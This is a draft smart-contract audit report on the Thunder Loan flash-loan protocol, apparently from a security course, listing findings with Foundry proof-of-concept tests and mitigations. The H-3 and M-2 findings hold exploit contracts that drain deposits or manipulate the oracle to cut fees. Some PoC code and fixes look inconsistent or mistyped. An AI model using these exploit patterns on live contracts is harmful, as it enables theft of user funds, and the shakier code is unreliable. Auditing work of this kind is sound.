Thunder Loan Initial Audit Report

Version 0.1

Katlego Molokoane

May 3, 2025

Thunder Loan Audit Report

May 3, 2025

Thunder Loan Audit Report

Prepared by: Lead Auditors:

- Katlego Molokoane

Assisting Auditors:

- None

Table of contents

See table

Disclaimer

This security audit was conducted with the utmost diligence to identify vulnerabilities within the provided codebase during the allocated time frame. However, the findings in this document are not exhaustive, and no guarantees are made regarding the absence of additional vulnerabilities. This audit does not constitute an endorsement of the underlying business model, product, or team. The review

was strictly limited to the security aspects of the Solidity implementation of the smart contracts. The auditor assumes no liability for any issues arising from the use of the audited code.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

The ThunderLoan protocol enables users to take flash loans and liquidity providers to earn interest by depositing assets. Flash loans are repaid within a single transaction, with fees calculated using a

TSwap-based price oracle. The protocol includes upgradeable contracts, supports multiple ERC20 tokens, and aims to provide secure and efficient capital utilization while addressing known issues like price manipulation and storage collisions.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	3
Info	3
Gas	3
Total	15

Findings

High

[H-1] Improper ordering of storage variables results in storage collisions between `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`.

Description: The ThunderLoan.sol contract defines two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the anticipated upgraded contract, `ThunderLoanUpgraded.sol`, defines these variables in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to the mechanics of Solidity storage, following the upgrade, the `s_flashLoanFee` variable will inherit the value of `s_feePrecision`. In upgradeable contracts, the positions of storage variables must remain consistent to prevent storage collisions and unintended behavior.

Impact: Following the upgrade, the `s_flashLoanFee` variable will inherit the value of `s_feePrecision`, resulting in users being charged an incorrect fee for flash loans immediately after the upgrade. Furthermore, the `s_currentlyFlashLoaning` mapping will be misaligned, starting on an incorrect storage slot, which could lead to unintended behavior.

Proof of Concept:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```

// Import `ThunderLoanUpgraded`
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Ensure that the positions of storage variables remain unchanged during an upgrade. If replacing a storage variable with a constant, leave a placeholder to maintain the storage layout. For example, in `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] The unnecessary invocation of `updateExchangeRate` within the `ThunderLoan::deposit` function results in an incorrect update to the `exchangeRate`, which can prevent withdrawals and unfairly alter the distribution of rewards.

Description:

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          uint256 calculatedFee = getCalculatedFee(token, amount);
8  @>        assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

Impact: If the issue is not fixed, the protocol will experience incorrect `exchangeRate` updates during deposits, leading to withdrawal failures, unfair reward distribution, and potential locking of user funds. This undermines the protocol's functionality, user trust, and overall integrity, posing significant risks to its sustainability.

Proof of Concept:

Add the following code to the `ThunderLoanTest.t.sol` file.

```
1  function testDepositUpdatesExchangeRateIncorrectly() public {
2      // Set up the token and allow it
3      vm.prank(thunderLoan.owner());
4      thunderLoan.setAllowedToken(tokenA, true);
5
6      // Mint and approve tokens for the liquidity provider
7      tokenA.mint(liquidityProvider, 1000e18);
8      vm.startPrank(liquidityProvider);
9      tokenA.approve(address(thunderLoan), 1000e18);
10
11     // Perform the first deposit
12     thunderLoan.deposit(tokenA, 500e18);
13
14     // Check the initial exchange rate
15     AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
16     uint256 initialExchangeRate = assetToken.getExchangeRate();
17
18     // Perform a second deposit
19     thunderLoan.deposit(tokenA, 500e18);
20
```

```
21      // Check the updated exchange rate
22      uint256 updatedExchangeRate = assetToken.getExchangeRate();
23
24      // Assert that the exchange rate has changed unnecessarily
25      assert(initialExchangeRate != updatedExchangeRate); // Exchange
            rate should not change during deposits
26  }
```

Recommended Mitigation: There are a few things that can be done

1. Remove the unnecessary `updateRxchangeRate` call in the `deposoi` function.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8      // Remove this line to prevent unnecessary exchange rate updates
9  -     uint256 calculatedFee = getCalculatedFee(token, amount);
10 -     assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

2. Restrict exchangeRate updates to relevant contexts. The `updateExchangeRate` function should only be called in contexts where the exchange rate is expected to change, such as

- During flash-loan operations where fees are applied.
- When explicitly triggered by an admin or system function designed to update the exchange rate

3. Emit events for Excghage Rate Updates

[H-3] By executing a flash loan and subsequently calling `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can exploit the protocol to drain all funds.

Description The protocol allows users to execute a flash loan and call `ThunderLoan::deposit` instead of `ThunderLoan::repay`, bypassing repayment logic. This exploit enables malicious users to drain all funds from the protocol.

Impact The funds of the AssetToken contract can be drained.

Proof of Concept

Have to create 2 new file : 1. `ExploitContract.sol` into tests/mocks

2. Add the following to the `ExploitContract.sol`

```
    // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ExploitContract {
    ThunderLoan private thunderLoan;
    IERC20 private token;

    constructor(address _thunderLoan, IERC20 _token) {
        thunderLoan = ThunderLoan(_thunderLoan);
        token = _token;
    }

    function executeExploit(uint256 amountToBorrow) external {
        // Step 1: Perform a flash loan
        thunderLoan.flashloan(address(this), token, amountToBorrow, "");

        // Step 2: Deposit the borrowed tokens back into the protocol
        token.approve(address(thunderLoan), amountToBorrow);
        thunderLoan.deposit(token, amountToBorrow);
    }

    function executeOperation(
        address, /* token */
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    ) external returns (bool) {
        // Calculate the total repayment amount
        uint256 totalRepayment = amount + fee;

        // Approve the protocol to transfer the fee
        token.approve(msg.sender, fee);

        // Transfer the fee to ensure sufficient balance for repayment
        token.transferFrom(msg.sender, address(this), fee);

        // Transfer the repayment amount back to the protocol
        token.transfer(msg.sender, totalRepayment);

        return true;
    }
}
```

3. Add this file to the `ThunderLoanRest.t,sol`.

```
// import this file into `ThunderLoanTest.t.sol`.
import { ExploitContract } from "test/mocks/ExploitContract.sol";

    function testFlashLoanDepositExploitWithoutEOS() public {
    // Step 1: Set up the token and allow it
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);

    // Step 2: Mint and approve tokens for the liquidity provider
    tokenA.mint(liquidityProvider, 1000e18);
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();

    // Step 3: Deploy a contract to act as the user (non-EOA)
    ExploitContract exploitContract = new ExploitContract(address(
        thunderLoan), tokenA);

    // Step 4: Perform the exploit
    uint256 amountToBorrow = 500e18;
    exploitContract.executeExploit(amountToBorrow);

    // Step 5: Check the protocol's balance
    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
    uint256 protocolBalance = tokenA.balanceOf(address(assetToken));

    // Step 6: Assert that the protocol's balance has been drained
    assertEq(protocolBalance, 0, "Protocol funds have been drained");
}
```

This demonstrates the exploit whereby all funds could be drained.

Recommended mitigation

1. Enforce Repayment Logic:
    - Ensure that tokens borrowed via a flash loan cannot be deposited back into the protocol without first being repaid.

```
modifier preventFlashLoanDeposit(IERC20 token) {
    if (isCurrentlyFlashLoaning(token)) {
        revert ThunderLoan__NotAllowedDuringFlashLoan();
    }
    _;
}

function deposit(IERC20 token, uint256 amount)
    external
```

```
10      revertIfZero(amount)
11      revertIfNotAllowedToken(token)
12      preventFlashLoanDeposit(token)
13  {
14      // Existing deposit logic
15  }
```

Medium

[M-1] Reliance on privileged owners introduces risks of malicious actions or negligence, potentially compromising protocol security and user trust.

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1  File: src/protocol/ThunderLoan.sol
2
3  223:     function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {
4
5  261:     function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

Recommended mitigation There are a few to consider:

1. Implement Multi-Signature Governance that require multiple people to approve critical actions.

```
1  // Use Gnosis Safe or similar multi-signature wallet for ownership
2  address public multiSigWallet;
3
4  modifier onlyMultiSig() {
5      require(msg.sender == multiSigWallet, "Not authorized");
6      _;
7  }
8
9  function setAllowedToken(IERC20 token, bool allowed) external
       onlyMultiSig {
10     // Critical action logic
11 }
```

2. Introduce Decentralized Governance model where decisions can be made by token holders through voting.
3. Time-Lock Administrative Actions - Implement a mechanism for critical actions, providing users with a grace period to review and react to changes.

```
contract TimeLock {
    uint256 public constant TIMELOCK_DURATION = 2 days;
    mapping(bytes32 => uint256) public queuedTransactions;

    function queueTransaction(bytes32 txHash) external onlyOwner {
        queuedTransactions[txHash] = block.timestamp +
            TIMELOCK_DURATION;
    }

    function executeTransaction(bytes32 txHash) external onlyOwner {
        require(block.timestamp >= queuedTransactions[txHash], "
            Timelock not expired");
        // Execute critical action
    }
}
```

[M-2] TSwap Price Oracle Exploit in `ThunderLoan::flashloan`

Relying on TSwap as a price oracle enables price manipulation due to its AMM-based pricing mechanism's susceptibility to large trades.

Description: The `ThunderLoan::flashloan` function calculates the fee for flash loans using the `getCalculatedFee` function, which relies on the `getPriceInWeth` function to fetch the price of the token from a TSwap-based price oracle. This oracle is vulnerable to price manipulation due to its reliance on AMM-based pricing mechanisms. An attacker can manipulate the price by providing or withdrawing liquidity from the pool, significantly reducing the calculated fee for a large flash loan.

Impact: The attacker can manipulate the price oracle to minimize the fee for large flash loans, reducing protocol revenue. Liquidity providers may experience significantly reduced fees for providing liquidity, diminishing their incentives and potentially leading to lower participation in the protocol.

Proof of Concept:

The following code demonstrates the exploit:

```
// filepath: /security-course/6-thunder-loan-audit/test/mocks/
    AttackFlashLoanReceiver.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";

```

```
contract AttackFlashLoanReceiver {
    using SafeERC20 for IERC20;

    ThunderLoan private thunderLoan;
    MockTSwapPool private tSwapPool;
    IERC20 private tokenA;

    uint256 public attackFee1;
    uint256 public attackFee2;

    constructor(address _thunderLoan, address _tSwapPool, IERC20 _tokenA) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tSwapPool = MockTSwapPool(_tSwapPool);
        tokenA = _tokenA;
    }

    function executeOperation(
        address, /* token */
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata params
    ) external returns (bool) {
        bool isFirstCall = abi.decode(params, (bool));

        if (isFirstCall) {
            // Manipulate the price by adding liquidity to the pool
            tSwapPool.setPrice(1e15); // Reduce the price significantly
            attackFee1 = fee;

            // Repay the first loan
            tokenA.approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(tokenA, amount + fee);

            // Take a second flash loan with reduced fee
            thunderLoan.flashloan(address(this), tokenA, 1e20, abi.encode(false));
        } else {
            attackFee2 = fee;

            // Repay the second loan
            tokenA.approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(tokenA, amount + fee);
        }

        return true;
    }
}
```

Test case

```
// filepath: ThunderLoanTest.t.sol
function testPriceOracleExploit() public setAllowedToken hasDeposits {
    uint256 initialPrice = MockTSwapPool(tokenToPool[address(tokenA)]).
        price();
    console.log("Initial price: ", initialPrice);

    uint256 smallLoanAmount = 1e6; // Small loan to manipulate price
    uint256 largeLoanAmount = 1e20; // Large loan with reduced fee

    // Deploy the attacking contract
    AttackFlashLoanReceiver attacker = new AttackFlashLoanReceiver(
        address(thunderLoan),
        address(tokenToPool[address(tokenA)]),
        tokenA
    );

    // Fund the attacker with tokens for manipulation
    tokenA.mint(address(attacker), AMOUNT);

    // Execute the exploit
    vm.startPrank(user);
    thunderLoan.flashloan(address(attacker), tokenA, smallLoanAmount,
        abi.encode(true));
    vm.stopPrank();

    uint256 finalPrice = MockTSwapPool(tokenToPool[address(tokenA)]).
        price();
    console.log("Final price: ", finalPrice);

    console.log("First fee: ", attacker.attackFee1());
    console.log("Second fee: ", attacker.attackFee2());
}
```

Expected Output: The test demonstrates that the fee for the second, larger flash loan is significantly reduced due to price manipulation.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M3] Precision Loss in `getCalculatedFee()` Function

Description:

The `getCalculatedFee()` function in the `ThunderLoan.sol` contract performs mathematical

operations that may lead to precision loss during fee calculations. Specifically, the order of operations in the following code snippet can result in accumulated fees being lower than expected:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
    ) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The division operation (`/ s_feePrecision`) is performed after multiplication, which can truncate fractional values and reduce the accuracy of the calculated fee. This issue is of low priority but may impact the accuracy of fee calculations over time.

Impact - Precision loss during fee calculations may result in fees that are marginally lower than expected. - Over time, this discrepancy could lead to a reduction in the protocol's revenue from flash loan fees. - While the contract continues to operate correctly, the protocol may lose a small but cumulative amount of revenue due to inaccurate fee calculations.

Recommended Mitigation:
To address the precision loss, the following mitigations are recommended:

1. **Reorder Operations:**
   Perform multiplication before division to maintain precision during calculations. For example:

```
function getCalculatedFee(IERC20 token, uint256 amount) public
    view returns (uint256 fee) {
     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
        address(token)));
     fee = (valueOfBorrowedToken * s_flashLoanFee) / (
        s_feePrecision * s_feePrecision);
}
```

Low

[L-1] Empty Function Body

```
File: src/protocol/ThunderLoan.sol

292:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

Recommended mitigation A comment should be added on why the function is intentionally left empty to avoid confusions for future developers or auditors.

```
function _authorizeUpgrade(address newImplementation) internal override
    onlyOwner {
+    // Intentionally left empty as onlyOwner is sufficient for upgrade
    authorization
```

```
3 }
```

[L-2] Initializers Vulnerable to Front-Running

Description The initializer functions in the contract are susceptible to front-running attacks. An attacker could potentially call the initializer function before the legitimate deployer, allowing them to set arbitrary values, take ownership of the contract, or force a re-deployment of the contract. This vulnerability arises because the initializer function is publicly accessible during the deployment phase.

Impact:
If exploited, an attacker could: - Gain unauthorized ownership of the contract. - Set malicious or unintended values in the contract's state. - Force the deployer to redeploy the contract, incurring additional costs and delays.

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init(msg.sender);
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
    s_feePrecision = 1e18;
    s_flashLoanFee = 3e15; // 0.3% ETH fee
}
```

Recommended Mitigation:
1. **Use a Deployment Script:** Ensure the initializer function is called immediately after deployment using a deployment script, leaving no opportunity for front-running.

2. **Use Constructor for Deployment:** If feasible, consider using a constructor to set initial values during deployment, as constructors cannot be front-run.

[L-3] Missing critial event emissions

Description The `ThunderLoan::updateFlashLoanFee` function updates the `s_flashLoanFee` variable without emitting an event. This omission reduces transparency and makes it difficult for off-chain systems, auditors, or users to track changes to critical protocol parameters. **Description:** When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Impact:
The lack of event emissions for critical state changes can hinder monitoring and auditing efforts. It also reduces the ability of external systems to react to changes in real-time, potentially leading to a loss of trust in the protocol's transparency.

Recommended Mitigation:
Emit an event whenever the `s_flashLoanFee` is updated. This ensures that changes to critical parameters are logged and can be tracked by external systems or users.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

Description:
The current test coverage for the protocol is insufficient, with several files having less than 70% coverage for lines, statements, branches, and functions. This lack of comprehensive testing increases the risk of undetected bugs and vulnerabilities in the codebase.

```
Running tests...
| File                                | % Lines        | % Statements
    | % Branches    | % Funcs        |
| ----------------------------------- | -------------- | --------------
    | ------------- | -------------- |
| src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

Recommended Mitigation:
1. Increase Test Coverage: Aim for at least 90% test coverage across all files, with a focus on critical functions and edge cases. Ensure that all branches and paths are tested.

2. **Add Unit Tests for Edge Cases:**
   Include tests for scenarios such as:

   - Invalid inputs.

- Boundary conditions.
- Reentrancy attacks and other security vulnerabilities.

3. **Integrate Automated Testing Tools:**
   Use tools like `forge coverage` or `solidity-coverage` to identify untested lines and branches in the codebase.

4. **Perform Fuzz Testing:**
   Use fuzz testing to generate random inputs and identify unexpected behavior or vulnerabilities.

[I-2] Not using `__gap[50]` for future storage collision mitigation

Description:
The contract does not include a reserved storage gap (`__gap`) to mitigate potential storage collisions in future upgrades. In upgradeable contracts, storage variables must maintain their order and layout to avoid overwriting or misaligning data during upgrades. Without a reserved gap, adding new storage variables in future versions of the contract may lead to storage collisions, resulting in unintended behavior or vulnerabilities.

Recommended Mitigation: Introduce a reserved storage gap in the contract to allow for future storage variable additions without affecting the existing storage layout.

```
contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
     // ... existing code ...

     // Reserved storage gap for future upgrades
+     uint256[50] private __gap;
}
```

[I-3] Decimal Mismatch May Cause Confusion

Description:
The protocol uses tokens with differing decimal places, which can lead to confusion and potential errors. For example, `AssetToken` operates with 18 decimals, while some underlying assets may have only 6 decimals. This inconsistency can result in miscalculations or misunderstandings when interacting with the protocol, especially for users or developers unfamiliar with the decimal differences.

Recommended Mitigation:
1. Standardize Decimals Across Tokens: Where possible, ensure that all tokens used within the protocol adhere to a consistent decimal standard (e.g., 18 decimals). This simplifies calculations and reduces the risk of errors.

2. Document Decimal Differences: Clearly document the decimal differences in the protocol's documentation and provide guidance for developers and users on how to handle these discrepancies.

By addressing the decimal mismatch, the protocol can improve usability, reduce errors, and enhance trust among users and developers.

Gas

[GAS-1] Using bools for storage incurs overhead

Description Using `bool` for storage variables incurs unnecessary gas costs due to the way the Ethereum Virtual Machine (EVM) handles storage operations. Specifically, changing a `bool` value from **`false`** to **`true`** or vice versa incurs a `Gsset` cost (20,000 gas) when the storage slot is updated. Additionally, accessing a `bool` value incurs a `Gwarmaccess` cost (100 gas). These costs can be avoided by using `uint256(1)` and `uint256(2)` to represent **`true`** and **`false`**, respectively.

```
File: src/protocol/ThunderLoan.sol

100:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

Recommended Mitigation:
Replace the `bool` type with `uint256` and use 1 for **`true`** and 2 for **`false`**. For example:

```
  mapping(IERC20 token => uint256) private s_currentlyFlashLoaning;

// Example usage
function setCurrentlyFlashLoaning(IERC20 token, bool status) internal {
    s_currentlyFlashLoaning[token] = status ? 1 : 2;
}

function isCurrentlyFlashLoaning(IERC20 token) public view returns (
    bool) {
    return s_currentlyFlashLoaning[token] == 1;
}
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

Description:
Declaring constants as **`public`** generates an implicit getter function, which increases deployment gas costs. If the constant values are not frequently accessed externally, using **`private`** instead of **`public`** can save gas. The values can still be retrieved from the verified contract source code or through a single getter function that returns multiple constants as a tuple.

Instances (3):

```
File: src/protocol/AssetToken.sol

24:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

97:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

98:     uint256 public constant FEE_PRECISION = 1e18;
```

Recommended Mitigation:
Change the visibility of constants from **`public`** to **`private`** and, if necessary, provide a single getter function for external access. For example:

```
+  uint256 private constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
+  uint256 private constant FEE_PRECISION = 1e18;

+  function getConstants() external pure returns (uint256, uint256) {
+    return (FLASH_LOAN_FEE, FEE_PRECISION);
+   }
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

Description:
In the `AssetToken::updateExchangeRate` function, after updating the `s_exchangeRate` storage variable, the function performs an additional storage read (SLOAD) to retrieve the value for logging in the `ExchangeRateUpdated` event. This introduces unnecessary gas overhead, as the value being logged is already available in memory.

Recommended Mitigation:
Avoid the unnecessary storage read by directly logging the `newExchangeRate` value, which is already in memory. This reduces gas costs while maintaining the same functionality.

```
function updateExchangeRate(uint256 newExchangeRate) external onlyOwner
    {
    s_exchangeRate = newExchangeRate;
-   emit ExchangeRateUpdated(s_exchangeRate); // Redundant SLOAD
+   emit ExchangeRateUpdated(newExchangeRate); // Use memory value
}
```